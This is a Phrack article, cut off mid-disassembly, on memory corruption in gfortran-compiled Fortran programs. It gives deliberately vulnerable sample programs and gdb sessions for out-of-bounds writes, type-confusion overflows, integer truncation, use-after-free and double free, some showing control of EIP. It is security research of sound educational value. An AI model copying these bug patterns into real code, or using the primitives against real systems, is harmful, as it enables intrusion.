==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x0b of 0x10 |=-----------------------------------------------------------------------=| |=--------=[ Exploiting memory corruptions in Fortran programs ]=--------=| |=--------=[ under UNIX/VMS ]=--------=| |=-----------------------------------------------------------------------=| |=-------------------------=[ by Magma /FHC ]=--------------------------=| |=------------------------=[ magma@phrack.org ]=-------------------------=| |=-----------------------------------------------------------------------=| --- "aka hacking Fortran for kiddos" --- --[ Contents 1 - Introduction 1.1 - A Fortran tale 1.2 - Who cares about Fortran anyway? 2 - A short introduction to the language basics 2.1 - An overview of Fortran syntax 2.2 - Hey Gramps, what's the difference between F77 and F2008? 3 - Memory corruption with gfortran 3.1 - Buffer overflows 3.2 - The number-related issues 3.3 - The POINTER abuse 3.4 - Other interesting bugs 4 - Back to the good ol' OpenVMS friend 4.1 - Common Fortran bugs .VS. OpenVMS 4.2 - Playing with the heap 5 - Prevention: lets use a condom 6 - The final words 7 - Greetz 8 - Bibliography --- ---[ 1 - Introduction ---[ 1.1 - A Fortran tale Fortran -FORmula TRANslation- is one of the oldest high level programming language ever created. Being well aware of the fact that youngsters aren't interested anymore in history, I'll go straight to the point. Fortran is .NOT. (yet) dead (though 'perforated cards' hackers probably are). Not only did it remain actively used in the very underground scientific/banking sectors but it also evolved to the point where it got its last update in 2008. Hey son, you didn't know that, did you? Now if you ever took Fortran classes in college/university then there is a good chance that your teacher voluntary missed a few things as Fortran is generally taught as a procedural programming language for beginners. As such, you might have been asked to program some crappy math oriented program with basic features and never really got the chance to play with the interesting features of the language. Fortran was once an old fashioned language with limited features and boring syntax constraints. Forget about all that. Nowadays Fortran includes modern features such as dynamic allocation and MPI which make it suitable for implementing both complex algorithms and parallel computing. Now add that to the fact that modern compilers exist for almost all common operating systems and that they produce high-lol-ly efficient code which can be linked to C and even Java programs. You can also use GTK or OpenGL if you wish. You're impressed kid, I can see that in your eyes. @(*_*)@ ---[ 1.2 - Who cares about Fortran anyway? Well I do and let me tell you why you should too: a. It may not be too good looking at first but at least it's way sexier than COBOL. b. Your father was programming in Fortran using perforated cards and got headaches doing so. Sounds like a cool subject in family diner. c. Vintage web is the best. Just try typing Fortran in google to admire beautiful and authentic Web 0.1 HTML. d. Wikipedia tells us that "It is one of the most popular languages in the area of high-performance computing and is the language used for programs that benchmark and rank the world's fastest supercomputers." We should always believe wikipedia. e. You mastered tabs in python and couldn't think of new ways to be cool on BBS^H^H^HIRC? Well then try to master Fortran 77's indentation constraints. You might even be able to impress chicks. It used to work almost forty years ago (.OR. .NOT.). Still not convinced? OK so what if Fortran programs were used in strategic areas you've only heard of? What if Fortran programs were more buggy [R1] than they seemed? What if you could exploit some appropriate bug in a Fortran program and then own the _whole_ _damn_ _world_? That would be extraordinary, wouldn't it? Well cool down man that would also remain a dream :> --- ---[ 2 - A short introduction to the language basics In order to properly understand the paper, you'll need the basics in Fortran programming. Since Fortran 77 (F77) isn't used anymore, the article is focused on F90 (Fortran 90) whose syntax mostly remained compatible throughout the different revisions of the standard. Specific features added by Fortran 95 (F95) up to Fortran 2008 (F2008) are discussed in Chap 2.2 though not really _that_ interesting in the context of this paper. You can easily skip the aforementioned explanation. ---[ 2.1 - An overview of Fortran syntax Fortran is a procedural compiled language whose syntax is quite easy to learn albeit sometimes not intuitive. Let's begin with the traditional 'Hello World': -----BEGIN EXAMPLE 1----- $ cat ex1.f90 ! Dummy comment PROGRaM EX1 [L1] CHARACTER(len=20) :: hellostr='Hello World!' [L2] write(*,fmt='(A)') hellOstr [L3] END PROGRAM [L4] $ gfortran ex1.f90 $ ./a.out Hello World! $ -----END EXAMPLE 1----- *) '!' marks the beginning of a comment. *) A Fortran program is divided in several blocks. [L1] declares the beginning of the PROGRAM (the MAIN_() function) and requires the according 'END' in [L4]. Other types of blocks include FUNCTION and SUBROUTINE, the difference between them being essentially whether or not they return a value. Note: This language keywords are case insensitive as shown in [L1]. *) Variables are declared at the beginning of the blocks and are also case insensitive ([L2] vs [L3]) and preceded by a type. According to the ISO standard [R2], F90 defines five intrinsic types being: INTEGER, REAL, COMPLEX, CHARACTER and LOGICAL. An intrinsic type can optionally been followed by a 'type parameter' which can either be 'len' or 'kind'. 'len' allows the programmer to specify how much bytes is required to store the variable for a CHARACTER and so is 'kind' for INTEGER, REAL and LOGICAL types. Contrary to the C language, there is a difference between strings and character arrays but both are related to the CHARACTER type: CHARACTER(len=1) :: array(20) ! 20 bytes array CHARACTER(len=20) :: string ! 20 bytes string *) read() and write() are the common input/output functions used to read and write files. Amongst the possible parameter, you can specify how to format the variable. The code in [L3] is equivalent to the C line: printf("%s\n", hellOstr); Now let's see a more advanced example: -----BEGIN EXAMPLE 2----- $ cat ex2.f90 SUBROUTINE add(I,J) IMPLICIT NONE [L1] INTEGER(2) :: I [L2] INTEGER(2) :: J I = I + J END SUBROUTINE PROGRAM EX2 CHARACTER(len=20), PARAMETER :: s = & [L3] 'p67 will be the best.' INTEGER*2 :: I = Z'FF' [L4] write(*,*) '[1] Before add(), I = ', I CALL add(I,1) write(*,*) '[2] After add(), I = ', I END PROGRAM $ gfortran ex2.f90 $ ./a.out [1] Before add(), I = 255 [2] After add(), I = 256 [L5] $ -----END EXAMPLE 2----- L1) By default a few variables do not need to be explicitly declared. According to Chap 5.3 of [R2], variables I to N are integers, while other variables are typed REAL. The directive 'IMPLICIT NONE' forbids this behavior and forces the programmer to properly declare every variable. L2) I and J are both signed integers stored on 2 bytes ('short' type in C language). L3) Lines can be truncated using the '&' special character. PARAMETER is used to declare the variable as a constant. L4) You can initialize the variables in base 8 ('O'), 16 ('Z') and even base 2 ('B'). L5) When calling functions and subroutines (which from an asm point of view is the same), then arguments are passed by reference contrary to the C where arguments are passed by value. ---[ 2.2 - Hey Gramps, what's the difference between F77 and F2008? First of all, know that F77 is not the first Fortran at all but rather the ancestor of F90. It can be seen as the skeleton of the actual "modern" language. Decades after decades, the ISO published several revisions of the language to bring new functionalities while sometimes deleting ones. For us hackers, there is almost no impact except that the newer the language, the higher the chance to find bugs thanks to dangerous and misused extensions. Anyway you should nonetheless be aware of the following -important- differences between the revisions: *) Fortran 90 brought the POINTER object and the ability to dynamically allocate objects. It also made possible the recursion. This particular feature won't be discussed in this paper. *) "Varying character strings" appeared in Fortran 95. This interesting functionality can potentially reduce the risks of bugs induced by the need to copy a buffer into another one (remember that strings have a fixed len in Fortran). Fortunately some compilers don't support it yet (like gfortran) and a lot of programmers aren't even aware of its existence. *) Fortran 2003 was designed to allow object oriented programming but frankly speaking, we don't care at all. More interesting are the IEEE floating point arithmetic and the so-called procedure pointers. Note that we had to wait 2003 to get a language being able to deal with command line arguments and environment variables. _ridiculous_ *) Fortran 2008 introduced the parallel processing ability in the language. This will not discussed. OK enough with the chitchat, let's move on. --- ---[ 3 - Memory corruption with gfortran This part introduces the more common bugs that you may encounter while auditing/writing Fortran code. While it is essentially focused on gfortran (a GCC extension [R3]), the OpenVMS Fortran compiler [R4] will be discussed in part 4. This will allow us to make at least partial generalisation of what kind of bugs are likely to be found & exploited in the wild. People accustomed to Fortran programming already know that Fortran is about dealing with numbers (one of the main advantages of Fortran). As a result it seems that interesting inputs will be the ones related to number manipulation/conversion and string parsing. Now Gramps will show you a few things that might interest you. ---[ 3.1 - Buffer overflows Obviously the buffer overflow is the first type of bug that comes to mind when one wants to trigger a bug related to strings/buffers. Luckily, they also exist in Fortran but only in situations where the compiler was not able to deter them. That would be: *) when the user is able to manipulate an index which will be used to access an array or a string. Due to the index provided by the user, the compiler is not able to detect the potential memory corruptions during the compilation. *) when the user is implicitly or explicitly changing the type of an object passed by reference to the function. The index manipulation ---------------------- Contrary to other languages, Fortran is not able to properly handle invalid memory access on runtime. In fact, if an index is out of scope, Fortran will not see it and a memory corruption might appear. Let's see using this tiny string manipulation example: -----BEGIN OVERFLOW 1----- $ cat overflow1.f90 PROGRAM test CHARACTER(len=30) :: S ! String of length 30 INTEGER(4) I S = 'Hello Phrack readers!' read(*,*) I S(I:I) = '.' write(*,*) S END PROGRAM $ gfortran overflow1.f90 $ ./a.out 3 He.lo Phrack readers! <-- S was modified with 0x2E $ gdb ./a.out [...] 0x080487be <+186>: mov BYTE PTR [ebp+eax*1-0x2b],0x2e ; This is the memory write ; Do we really control eax? [...] (gdb) b *0x080487be Breakpoint 1 at 0x80487be (gdb) r Starting program: a.out 50 <-- 50 is clearly out of scope! (>30) Breakpoint 1, 0x080487be in MAIN__ () (gdb) print /d $eax $1 = 50 (gdb) c Hello Phrack readers! Program received signal SIGSEGV, Segmentation fault. 0x2e04885b in ?? () <-- EIP was corrupted with 0x2E -----END OVERFLOW 1----- This short example is sufficient to prove that (at least with gfortran) there is no runtime check at all. If the user is controlling the index used to access a string then it's probably all over. There are two things worth to note: *) We tricked an out-of-bound memory write due to string manipulation but this could very well have been the same thing with any array (REAL, INTEGERS, CHARACTERS, etc.) *) Due to the fact that the INTEGER type is 'signed', we are equally able to write both before and after the buffer. Depending on the situation this might be extremely useful. For example while it's usually more interesting to write past the buffer when it's located on the stack, writing before it (underflow) might be handy when it's located on the heap. Of course that will depend on the situation. Explicit typing of function parameters ------------------------------------ A short example is better than confusing explanations: -----BEGIN CAST 1----- $ cat cast1.f90 SUBROUTINE dump(S) INTEGER(4) :: S write(*,fmt='(Z10)') S END SUBROUTINE PROGRAM CAST CHARACTER(len=6) :: S S='ABCDEF' CALL dump(S) END PROGRAM $ gfortran cast1.f90 $ ./a.out 44434241 -----END CAST 1----- So we first declare S as a string in the MAIN_ and then call the dump() subroutine, S being the argument. Inside dump(), the parameter is declared as an INTEGER which results in the appropriate printing. The fact that the compiler doesn't check types can lead to very interesting situations: *) when the size of S object in dump() is known at compile time and different of the original one. *) when the size of S object in dump() is controlled by the user. The first case will lead to a memory corruption if the size of the argument in the function is superior to its real size due to argument being passed by reference. The following code is for example incorrect and will lead to a program crash: -----BEGIN CAST 2----- $ cat cast2.f90 SUBROUTINE dump(S) CHARACTER(len=20) :: S S = 'AAAA' END SUBROUTINE PROGRAM cast2 CHARACTER(len=10) :: X X = 'ZZZZZZZZZZZ' CALL dump(X) END PROGRAM $ gfortran ./cast2.f90 $ ./a.out Segmentation fault -----END CAST 2----- What's happening? 'AAAA' is supposed to be shorter than 'ZZZZZZZZZZZ' so why is there a crash? Well S = 'AAAA' means the initialisation of S which ultimately results in the 4 first characters being set to 'A' and the other 16 ones to ' ' (space). But remember that parameters are passed by reference in Fortran so whatever the size of S during the execution of dump(), the size of the real object is 10 bytes. In other words, 20 bytes were copied on a 10 bytes buffer. Due to the very nature of this bug, it's quite unlikely to find it in the wild. However a much more vicious variant with 'implicit typing' is described later. Note: If the size of the argument in the function is actually shorter and number-related then it may leads to a truncation bug (discussed in Chap 3.2). Now one could imagine a second case where the programmer is providing the size of S as an argument (which is of course a bad practice in Fortran). The following code is perfectly legal: -----BEGIN CAST 3----- $ cat cast3.f90 SUBROUTINE dump(S,L) INTEGER(4) :: L CHARACTER(len=L) :: S ! size is a runtime parameter S='AAAA' END SUBROUTINE PROGRAM cast2 CHARACTER(len=10) :: X X = 'ZZZZZZZZZZ' CALL dump(X,100) write(*,*) X END PROGRAM $ gfortran cast3.f90 $ ./a.out 10 AAAA $ ./a.out 200 AAAA Segmentation fault $ -----END CAST 3----- For a couple of seconds we could be tempted to think that it's a situation similar to the one described in [R5] but that would only be true if there were a stack allocation. In fact once again the bug is triggered by the initialisation of the string. Because of the explicit typing of S, the compiler is assuming that S really has a len of L and if L > 10 then a memory corruption occurs. Implicit typing --------------- In the life-time of a program, declaring variables every time can be boring especially when the use of these variables is limited (consider a DO loop variable for example). Because of that, Fortran designers created a rule of implicit declaration. As a result in Fortran you can use a few variables without declaring them which for us hackers can be really cool as it can have side effects. Here is a tiny buggy example: -----BEGIN IMPLICIT TYPE 1----- $ cat implicit_typing1.f90 SUBROUTINE set(I) write(*,*) 'How much do u want to read dude ?' read(*,*) I [L3] END SUBROUTINE PROGRAM IMPLICIT_TYPING IMPLICIT NONE INTEGER(1) :: A, B [L1] A = 0 B = 0 CALL set(B) [L2] write(*,*) 'A=',A,'B=',B END PROGRAM $ gfortran implicit_typing1.f90 $ ./a.out How much do u want to read dude ? 1094795585 [L4] A= 65 B= 65 [L5] $ -----END IMPLICIT TYPE 1----- A, B are declared INTEGERS in the range [-128,+127] [L1] and initialized. B is then passed by reference to the set() subroutine [L2] where it gets affected a new value [L3]. If the user supplies a large enough integer [L4] then B is corrupted [L5]. What happened? Well the heart of this corruption lies in the implicit typing associated with the implicit declaration. Here is what can be read from the official documentation [R2]: --- Chap 5.3 - IMPLICIT "In each scoping unit, there is a mapping, which may be null, between each of the letters A, B, ..., Z and a type (and type parameters). An IMPLICIT statement specifies the mapping for the letters in its letter-spec-list. IMPLICIT NONE specifies the null mapping for all the letters. If a mapping is not specified for a letter, the default for a program unit or an interface body is default integer if the letter is I, J, ..., or N and default real otherwise, and the default for an internal or module procedure is the mapping in the host scoping unit." --- So not declaring I in the set() subroutine had the effect of declaring it as an integer which means INTEGER(4) by default (thus 4 bytes allocated). So cool. Do not forget that we're passing arguments by reference! Yes I know, I'm repeating myself. Probably because of my Alzheimer you know. Anyway, It's really easy to watch it -----BEGIN IMPLICIT TYPE 2----- (gdb) disassemble MAIN__ [...] 0x080486c1 <+17>: lea esi,[ebp-0xa] ; esi=&B [...] 0x080486d8 <+40>: mov DWORD PTR [esp],esi 0x080486db <+43>: mov BYTE PTR [ebp-0x9],0x0 ; A=0 0x080486df <+47>: mov BYTE PTR [ebp-0xa],0x0 ; B=0 0x080486e3 <+51>: call 0x8048790 ; set(&B) (gdb) disassemble set_ [...] 0x08048826 <+150>: mov eax,DWORD PTR [ebp+0x8] ; eax=&B 0x08048829 <+153>: mov DWORD PTR [esp],ebx 0x0804882c <+156>: mov DWORD PTR [esp+0x8],0x4 0x08048834 <+164>: mov DWORD PTR [esp+0x4],eax 0x08048838 <+168>: call 0x8048594 [...] ; read(&B,4) [...] (gdb) b *0x080486e3 Breakpoint 1 at 0x80486e3 (gdb) r [...] Breakpoint 1, 0x080486e3 in MAIN__ () (gdb) x /x $ebp-0xa 0xbffff42e: 0xf5140000 (gdb) x /x $ebp-0xa+2 0xbffff430: 0xbffff514 <-- A pointer is stored right after B (gdb) nexti How much do u want to read dude ? 1094795585 0x080486e8 in MAIN__ () (gdb) x /x $ebp-0xa 0xbffff42e: 0x41414141 <-- We are controling &B[0] up to &B[3] (gdb) x /x $ebp-0xa+2 0xbffff430: 0xbfff4141 <-- The pointer is corrupted. Our win. [...] -----END IMPLICIT TYPE 2----- As expected we wrote 4 bytes in a 1-byte buffer overwriting both 'B' and the 2 lowest bytes of a pointer with arbitrary values. ---[ 3.2 - The number-related issues In C language, there exists three types of integer related bugs [R6]: 1. Signedness bugs 2. Truncation bugs 3. Integer underflow/overflow bugs What about in Fortran? *) This first class of bugs is quite unlikely as the primary component is missing. Indeed the 'unsigned' concept does not exist in Fortran which means that there is (as far as I can see) almost no way to mistakenly interpret a negative number (integer/real) as a larger than expected positive one. However what would appen if we were to call a function in another language defining unsigned numbers like C? Then an integer overflow _could_ happen if the argument was casted. This particular situation is illustrated in Chap 4. *) A truncation bug (may) occur when an integer variable is copied into a smaller one. For example, in C copying an int (4 bytes) into a short (2 bytes) which is possible in Fortran. Practically speaking such a bug usually occurs when an INTEGER is passed as an argument to a function/procedure which declares its type 'smaller' than it actually is. -----BEGIN TRUNCATE 1----- $ cat truncate3.f90 LOGICAL FUNCTION IsGood(L) INTEGER(1) :: L IsGood = .TRUE. write(*,*) 'IsGood: size is ', L IF (L > 10) THEN write(*,*) 'Way too long man', L IsGood = .FALSE. RETURN END IF END FUNCTION PROGRAM truncate3 IMPLICIT NONE INTEGER(4) :: l CHARACTER(2000) :: str LOGICAL :: IsGood write(*,*) 'Give me the damn string ...' read(*,*) str l = len_trim(str) write(*,*) 'MAIN_: size is ', l IF (IsGood(l) .EQV. .TRUE.) THEN write(*,*) 'Copying bytes ... :)' END IF END PROGRAM $ gfortran truncate3.f90 $ ./a.out Give me the damn string ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MAIN_: size is 38 IsGood: size is 38 Way too long man 38 $ ./a.out Give me the damn string ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MAIN_: size is 520 IsGood: size is 8 Copying bytes ... :) $ -----END TRUNCATE 1----- In IsGood(), L is declared as an INTEGER(1). To respect the type, the parameter has to be reduced modulo 256 hence the result (520 & 0xFF = 8). This is _not_ the only situation involving this type of bug. For example, consider the following situation: -----BEGIN TRUNCATE 2----- $ cat truncate2.f90 PROGRAM truncate2 IMPLICIT NONE INTEGER(1) :: l CHARACTER(255) :: str CHARACTER(10) :: foo write(*,*) 'Give me the damn string ...' read(*,*) str write(*,*) 'Real string size is ', len_trim(str) l = len_trim(str) ! *BUG* *BUG* *BUG* IF (l > 10) THEN write(*,*) 'Way too long man', l STOP END IF write(*,*) 'Copying bytes' ! Insecure copy(foo, str) [...] END PROGRAM $ gfortran truncate2.f90 $ ./a.out Give me the damn string ... AAAAAAAAAAAAAAAAAA Real string size is 18 Way too long man 18 $ ./a.out Give me the damn string ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Real string size is 180 Copying bytes -----END TRUNCATE 2----- In this situation, the programmer made a mistake involving the prototype the len_trim() function (provided by the Fortran API). [R2] specifies that the result returned by the function should be a 'default integer' (which means INTEGER(4)) hence the previous bug. *) Whenever a language limits the amount of memory allocated for numbers (generally because of hardware constraints), a number under/overflow is always possible and is _normal_. However not handling this situation _is_ a bug. Fortran makes no exception as storage is clearly defined: -----BEGIN INT OVERFLOW 1----- $ cat arithmetic.f90 [...] INTEGER(1) :: N1, N2 write(*,*) 'Give me a number (-128, +127) :' read(*,*) N1 N2 = N1 * 16 write(*,*) 'N * 16 = ', N1*16, ' or ', N2 [...] $ gfortran arithmetic.f90 $ ./a.out Give me a number (-128, +127) : 5 N * 16 = 80 or 80 $ ./a.out Give me a number (-128, +127) : 12 N * 16 = 192 or -64 <-- Oops :) $ ./a.out Give me a number (-128, +127) : 18 N * 16 = 288 or 32 <-- Oops (bis) :) -----END INT OVERFLOW 1----- Is that all? Not quite son. When auditing the use of numbers in C code, you're usually focused on integers (char, int, long, long long) and that would essentially be for two reasons: *) Floats and double are rarely present in C code or to be fair, usually not in common 'audited' software. Of course there are a few notable exceptions, just use your imagination to find out which ones :) *) Floats are usually _not_ related to copy or allocation operations. In C, integers might be used as index, offsets, quantities or even sizes and as such their abuse 'could' induce a memory corruption. There is almost no such danger with floats. Now consider that things are a little bit different with Fortran. As I told you previously Fortran is a math oriented programming language. As such REAL, and COMPLEX types are really common not to mention the fact that the language itself provides some nice intrinsic functions to play with. This itself is sufficient to increase the probability of float-related bug in real life. Here is a short example of what could happen: -----BEGIN REAL OVERFLOW 1----- $ cat float1.f PROGRAM float1 REAL :: a, b, x a = 9.7E-30 b = -3.9E-30 x = a * b write(*,*) 'x = a*b = ',x END PROGRAM $ gfortran ./float1.f $ ./a.out x = a*b = -0.0000000 -----END REAL OVERFLOW 1----- Interesting isn't it? The behavior of REAL is what is described in the IEEE-754. As a result, a REAL (float) underflow occurs when a and b are multiplied. This ultimately results in x taking the value 0 because of the underflow. The program is not able to detect it on runtime whereas an exception could/should have been generated. I won't say more about that, now use your brain/imagination/drug to go further ;-) ---[ 3.3 - The POINTER abuse While the concept of pointer is somewhat universal, implementations and intrinsic limits of this object may completely vary from a language to another. For example, while in C you have direct access to the memory, in Fortran you don't (at least directly). But you still have a powerful pointer arithmetic and frankly speaking, that's all needs the programmer to introduce bugs ;-). Now let's talk about the POINTER. Note: The POINTER is F90 & later specific but you might find pointers in a few F77 programs which use 'Cray Pointers' [R10]. Introduction to POINTER ----------------------- In Fortran, a pointer is not a data type but rather a type parameter and must be associated with an object of the same type to read/modify it. Here is a short self-explaining example: -----BEGIN POINTER 1----- $ cat pointer1.f90 PROGRAM pointer1 INTEGER, TARGET :: a INTEGER, POINTER :: p_a p_a => a ! p_a = &a p_a = 1 ! *p_a = 1 write(*,*) a a = 2 write(*,*) p_a ! printf("%d",*p_a) END PROGRAM $ gfortran pointer1.f90 $ ./a.out 1 2 -----END POINTER 1----- Note that the TARGET parameter is mandatory. Now let's see a more complete example: -----BEGIN POINTER 2----- $ cat pointer2.f90 PROGRAM pointer2 INTEGER, POINTER :: p_a(:) INTEGER, POINTER, DIMENSION(:) :: p_b INTEGER, ALLOCATABLE :: c(:) INTEGER, POINTER :: X(:) ALLOCATE(p_a(5)); p_a = 5 ALLOCATE(p_b(4)); p_b = 4 ALLOCATE(c(3)); c = 3 X => p_a X(3) = 0 write(*,*) p_a write(*,*) p_b write(*,*) c DEALLOCATE(p_a) DEALLOCATE(p_b) DEALLOCATE(c) END PROGRAM $ gfortran pointer2.f90 $ ./a.out 5 5 0 5 5 4 4 4 4 3 3 3 -----END POINTER 2----- *) 'p_a' is an integer array pointer. *) 'p_b' and 'p_a' are the same kind of object despite the syntax being slightly different (but equivalent in the end). *) 'c' is an array whose size is still unknown. The ALLOCATABLE parameter specifies that memory will be requested before any use. This is a dynamically allocated array. *) ALLOCATE() is the intrinsic function responsible of the allocation. (and yes its calling syntax is _shit_ but let's deal with it) *) DEALLOCATE() will free previously requested memory. The link between ALLOCATE() and the libc allocator is easy to see: ------------------------------------------------------ $ ltrace -e malloc,free ./a.out malloc(20) = 0x087009a0 malloc(16) = 0x087009b8 malloc(12) = 0x087009d0 5 5 0 5 5 4 4 4 4 3 3 3 free(0x087009a0) = free(0x087009b8) = free(0x087009d0) = ------------------------------------------------------ This alone is sufficient to prove that malloc (respectively free) and ALLOCATE (respectively DEALLOCATE) are 'almost' the same. The difference between both is studied in another subsection. Heap overflows -------------- A buffer overflow in an ALLOCATEd area _is_ a heap overflow. Such a bug may occur if: *) The user is able to manipulate the index used with the array POINTER to perform an out of bound operation: ------------------------------------------------------ $ ./bof_array_malloc AAAAAAAAAAAAAAAAAAA INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAA [ 20 ] ONCE CLEANED :AAAAAAAAAAAAAAAAAAAA $ ./bof_array_malloc AAAAAAAAAAAAAAAAAAAA INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAAA [ 141 ] ONCE CLEANED :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA *** glibc detected *** ./bof_array_malloc: free(): invalid next size [...] ======= Backtrace: ========= /lib/tls/i686/cmov/libc.so.6(+0x6b591)[0xb7625591] /lib/tls/i686/cmov/libc.so.6(+0x6cde8)[0xb7626de8] /lib/tls/i686/cmov/libc.so.6(cfree+0x6d)[0xb7629ecd] [...] ------------------------------------------------------ *) The user is able to somehow induce a bug in the allocation either exploiting an arithmetic mistake of the behavior of ALLOCATE (discussed further). Dangling pointers ----------------- By default, pointers are undefined when declared. As a result there should not be any reference nor manipulation of these objects until their association. The unfamiliar programmer might be tempted to use the ASSOCIATED() intrinsic function for safety purpose which (un)fortunately is a mistake: -----BEGIN POINTER 3----- $ cat pointer3.f90 PROGRAM pointer1 INTEGER, TARGET :: a INTEGER, POINTER :: p_a write(*,*) associated(p_a) nullify(p_a) write(*,*) associated(p_a) p_a => a write(*,*) associated(p_a) END PROGRAM $ gfortran pointer3.f90 $ ./a.out T <-- *WRONG* :) F <-- Right T <-- Right -----END POINTER 3----- *) p_a is declared and 'undefined' by default. *) associated() falsely reports that p_a is associated. *) Since the pointer is associated, the programmer can perform operations and a memory corruption is very likely to appear. Let's try to understand what's happening: ------------------------------------------------------ (gdb) disass MAIN__ Dump of assembler code for function MAIN__: 0x080485d4 <+0>: push ebp 0x080485d5 <+1>: mov ebp,esp 0x080485d7 <+3>: sub esp,0x188 0x080485dd <+9>: mov DWORD PTR [esp+0x4],0x80488a0 0x080485e5 <+17>: mov DWORD PTR [esp],0x8 0x080485ec <+24>: call 0x80484c4 <_gfortran_set_options@plt> 0x080485f1 <+29>: mov DWORD PTR [ebp-0x168],0x8048880 0x080485fb <+39>: mov DWORD PTR [ebp-0x164],0x4 0x08048605 <+49>: mov DWORD PTR [ebp-0x170],0x80 0x0804860f <+59>: mov DWORD PTR [ebp-0x16c],0x6 0x08048619 <+69>: lea eax,[ebp-0x170] 0x0804861f <+75>: mov DWORD PTR [esp],eax 0x08048622 <+78>: call 0x80484e4 <_gfortran_st_write@plt> 0x08048627 <+83>: cmp DWORD PTR [ebp-0xc],0x0 ; p_a == 0 ? 0x0804862b <+87>: setne al ; al = ~(p_a == 0) 0x0804862e <+90>: movzx eax,al ; eax = al ------------------------------------------------------ OK OK easy. First p_a is read on the stack then its value is compared with 0 (NULL). If p_a is not zero then it's supposed associated (ah ah). However since the local variable is uninitialized, it could take any value and in our case some stack address thereby explaining the bug. Now more interesting. If operations are performed using p_a on the base of the result returned by associated() then an invalid memory dereference may occur and depending on whether we can control this address or nor it might end up either as a 'Segmentation Fault' or as a perfectly controlled arbitrary memory write. I discovered this really interesting issue reading a cool website [R7] which details a few other interesting issues that won't be discussed in this paper. Use-after-free bugs ------------------- Does the compiler keep track of POINTER object? Will it prevent the programmer from misusing them? Let's write an example once more: -----BEGIN POINTER 4----- $ cat pointer4.f90 PROGRAM pointer4 INTEGER, POINTER :: p1(:) INTEGER, POINTER :: p2(:) ALLOCATE(p1(10)) p2 => p1 p2 = 2 DEALLOCATE(p1) p2 = 3 ! REALLY bad :( END PROGRAM $ gfortran pointer4.f90 -O3 $ gdb ./a.out [...] (gdb) disassemble MAIN__ [...] 0x080485cb <+27>: mov DWORD PTR [esp],0x28 0x080485d2 <+34>: call 0x80484cc 0x080485d7 <+39>: test eax,eax 0x080485d9 <+41>: mov ebx,eax ; p2 => p1 0x080485db <+43>: je 0x8048679 0x080485e1 <+49>: mov DWORD PTR [eax],0x2 [...] 0x08048626 <+118>: mov DWORD PTR [esp],eax 0x08048629 <+121>: call 0x804849c 0x0804862e <+126>: mov DWORD PTR [ebx],0x3 ; BUG!!! [...] -----END POINTER 4----- So not only does the compiler nothing but still the bug is really there. Oh man Fortran is just like C after all :) With that in mind, it's rather obvious that doublefree() are possible and indeed they are: -----BEGIN DFREE 1----- $ cat double_free.f90 SUBROUTINE check(x,L) CHARACTER, TARGET :: x(L) CHARACTER, POINTER :: p(:) INTEGER I p => x DO I=1,L IF (ichar(p(I)) .lt. ichar('A')) THEN goto 100 END IF IF (ichar(p(I)) .gt. ichar('Z')) THEN goto 100 END IF END DO RETURN 100 write(*,*) '[-] Warning argument is fucked !!!' DEALLOCATE(p) ! If the argument has an invalid character ! then it's free()ed. END SUBROUTINE PROGRAM double_free [...] call check(q,realsize) write(*,*) '[+] First argument is ', q deallocate(q) ! Second free() [...] $ ./double_free ACAAAAAAZ [+] First argument is ACAAAAAAZ $ ./double_free ACAAAAAAZ- [-] Warning argument is fucked !!! [+] First argument is AAAAZ- *** glibc detected *** ./double_free: double free or [...] [...] -----END DFREE 1----- The shit behind ALLOCATE() --------------------------- We all know that in C allocation of a user supplied size can be dangerous if not well handled as it can have side effects. Common problems include too large request which would ultimately result in a NULL being returned or integer overflows in the calculus of the size. Since ALLOCATE() is no more than a wrapper of malloc() all of these problems can occur. However there is an even more vicious one. Let's play a little bit: -----BEGIN ALLOCATE----- $ cat allocate.f90 PROGRAM allocate1 IMPLICIT NONE INTEGER(1) :: M1 CHARACTER, DIMENSION(:), ALLOCATABLE :: C write(*,*) 'How much objects should I allocate ?' read(*,*) M1 ALLOCATE(C(M1)) END PROGRAM $ gfortran allocate.f90 $ ltrace -e malloc ./a.out How much objects should I allocate ? 16 malloc(16) <-- Ok = 0x09eed9a0 +++ exited (status 0) +++ $ ltrace -e malloc ./a.out How much objects should I allocate ? 0 malloc(1) <-- WTF ??? = 0x082a69a0 +++ exited (status 0) +++ $ ltrace -e malloc ./a.out How much objects should I allocate ? -20 malloc(1) <-- WTF (again) ??? = 0x089e99a0 +++ exited (status 0) +++ -----END ALLOCATE----- Wait, something is weird. Why is there a malloc(1)??? A short look at GDB and we have the following dead listing: ------------------------------------------------------ 0x080487fa <+170>: lea eax,[ebp-0x9] ; eax = &M1 0x080487fd <+173>: mov DWORD PTR [esp+0x4],eax 0x08048801 <+177>: mov DWORD PTR [esp+0x8],0x1 0x08048809 